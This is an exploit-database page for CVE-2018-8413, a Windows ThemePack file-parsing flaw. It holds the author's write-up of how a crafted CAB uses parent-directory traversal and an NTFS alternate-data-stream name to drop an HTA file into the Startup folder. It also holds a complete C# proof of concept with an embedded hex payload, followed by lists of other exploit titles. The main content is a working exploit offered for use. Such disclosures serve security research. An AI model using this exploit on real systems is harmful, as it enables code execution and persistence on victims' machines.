Menu

Search for hundreds of thousands of exploits

"Microsoft Windows 10 - Theme API 'ThemePack' File Parsing"

Author

Exploit author

"Eduardo Braun Prado"

Platform

Exploit platform

windows

Release date

Exploit published date

2020-01-29

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# Exploit Title: Microsoft Windows 10 - Theme API 'ThemePack' File Parsing
# Google Dork: n/a
# Date: 2020-10-28
# Exploit Author: Eduardo Braun Prado
# Vendor Homepage: http://www.microsoft.com/
# Software Link: http://www.microsoft.com/
# Version: 10 v.1803 (17134.407)
# Tested on: Windows 7, 8.0, 8.1, 10, Server 2012, Server 2012 R2, Server 2016, Server 2019
# CVE : CVE-2018-8413
# Discovered by: Eduardo Braun Prado

[Details]

Microsoft 'themepack' files are classic '.theme' files compressed for
sharing over the internet. Theme files
allows users to customize visual aspects of their device, such as icons
for known features like 'My computer'
and 'trash bin' folders, the default screensaver (which by the way
allowed attackers to run '.scr' files located
on shares upon applying a Theme, in the past. Refer to: CVE-2013-0810).
ThemePack file type uses Microsoft 'CAB' format. The parser contains a
vulnerability that allows attackers
to create arbitrary files on arbitrary locations on the user´s system,
by using the classic
'parent directory' technique, and thus could lead to creation of some
executable files on the
startup folder. This executable will be run on next logon.


Conditions:


1) The 'themepack' file must contain a valid '[dot] theme' file.


The parser allows creating '.theme' files on arbitrary locations, but
the extension must be
'.theme'. There´s a trick, though, to overcome this:

NTFS Alternate Data Streams.

By using a specially crafted name like "abc.hta:[dot] theme" it´s
possible to trick the parser into
dropping a file with an '[dot] hta' extension instead of the legitimate
'[dot] theme', potentially allowing
attackers to compromise the affected systems. The '[dot] hta' extension
is a good choice since you can
merge valid code with arbitrary text or binary files.

Note: Patched on October, 2018 Microsoft monthly patch.


[PoC]

Proof of concept code that drops an 'hta' file to startup dir.


Instructions:

 - Create a new project on MS Visual Studio (any version, included free
ones like 'Express'), choose 'Console Application'

and at 'program . cs' replace the code with the code below

Note: Source code targets dot NET 4.0 and up (previous versions might
work fine though!)


using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ThemePack
{
    class Program
    {
        static void Main(string[] args)
        {
            String exeDir = AppDomain.CurrentDomain.BaseDirectory;
            Directory.SetCurrentDirectory(exeDir);

            string tmpPath = Path.GetTempPath();

            string tpd =
"4D53434600000000AB010000000000002C000000000000000301010001000000000000009500000001000100930100000000000000003C508108200061612E2E5C2E2E5C2E2E5C2E2E5C2E2E5C2E2E5C726F616D696E675C6D6963726F736F66745C77696E646F77735C7374617274206D656E755C70726F6772616D735C737461727475705C6162632E6874613A2E7468656D6500B60133780E019301434B4D51C16A023110BD07F20F5EBC5A85D2163405DDB5871645CCB215BA1ED265C0E024B364E261FDFA66534BBD8499F7DE4CDE4BE68B5374F82AC55775020747294ACB1D9A7E6B1CA88CED4C7B1ED517F4522459413E06C2D1CE78C0A6043E47EAD2D8A741EC4C074149515984FF7E7A47EAD823A85982762646085EE5A5B5E58BC14CF231732735D63D47707BA2386E02305D420BDCC4C112374B08948F8963CE7352148474BB614BC119CC8014DA5EFF90A1BC09EDD5444B3ED76A7A785A3D3FAE5EDE8AE43E18CF9D09E0DB5ECD06B5EB88ED201EDA3BAF3504CEE834A7F84E56937B5DECB77A59AF27EBC3FA37DEC6A424213FA60684365248BA4DA537AA5CAEDECB8F4A8AF9E2E1F6133F";
     
           string tpf = exeDir + "\\C00L.themepack";

            Console.WriteLine("\n\n
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
\n Microsoft Windows Theme API 'ThemePack' File Parsing Vulnerability
PoC (CVE-2018-8413)  \n\n by: Eduardo Braun Prado \n\n
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");

            StreamWriter s = File.CreateText(tmpPath + "\\themepack000.h");

            s.Write(tpd);
          
            s.Close();

            FileStream f = File.OpenRead(tmpPath + "\\themepack000.h");

            String ax = "";


            byte[] b = new byte[f.Length];

            UTF8Encoding temp = new UTF8Encoding(false);

            while (f.Read(b, 0, b.Length) > 0)
            {
                ax = ax + temp.GetString(b);
            }


            String bx = ax.ToString();
            String cx = "";

            byte[] b02 = new byte[f.Length / 2];
            for (int i = 0; i < f.Length; i += 2)
            {
                cx = bx.Substring(i, 2);
                b02[i / 2] = Convert.ToByte(cx, 16);
            }

            File.WriteAllBytes(tpf, b02);

            if (File.Exists(tpf))
            {
                long fsize = new FileInfo(tpf).Length;

                if (fsize != 0)
                {
                    Console.WriteLine("\n\n\n Done! 'C00L." +
"themepack' file created in the current directory. Vulnerable systems
should plant an HTA on startup dir.");
                }

            }


            }
            }
            }
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2020-01-30 "Microsoft Windows Media Center WMV / WMA 6.3.9600.16384 - Code Execution" local windows "Eduardo Braun Prado"
2020-01-29 "Microsoft Windows 10 - Theme API 'ThemePack' File Parsing" local windows "Eduardo Braun Prado"
2019-03-13 "Microsoft Windows MSHTML Engine - _Edit_ Remote Code Execution" local windows "Eduardo Braun Prado"
2019-01-22 "Microsoft Windows VCF or Contact' File - URL Manipulation-Spoof Arbitrary Code Execution" remote windows "Eduardo Braun Prado"
2017-09-30 "Microsoft Excel - OLE Arbitrary Code Execution" dos windows "Eduardo Braun Prado"
2017-09-30 "Microsoft Word 2007 (x86) - Information Disclosure" local windows "Eduardo Braun Prado"
2017-09-28 "Microsoft Office Groove - 'Workspace Shortcut' Arbitrary Code Execution" dos windows "Eduardo Braun Prado"
2016-05-12 "Microsoft Windows Media Center - '.MCL' File Processing Remote Code Execution (MS16-059)" remote windows "Eduardo Braun Prado"
2015-12-09 "Microsoft Windows Media Center Library - Parsing Remote Code Execution aka 'self-executing' MCL File" remote windows "Eduardo Braun Prado"
2015-07-20 "Microsoft Word - Local Machine Zone Code Execution (MS15-022)" local windows "Eduardo Braun Prado"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.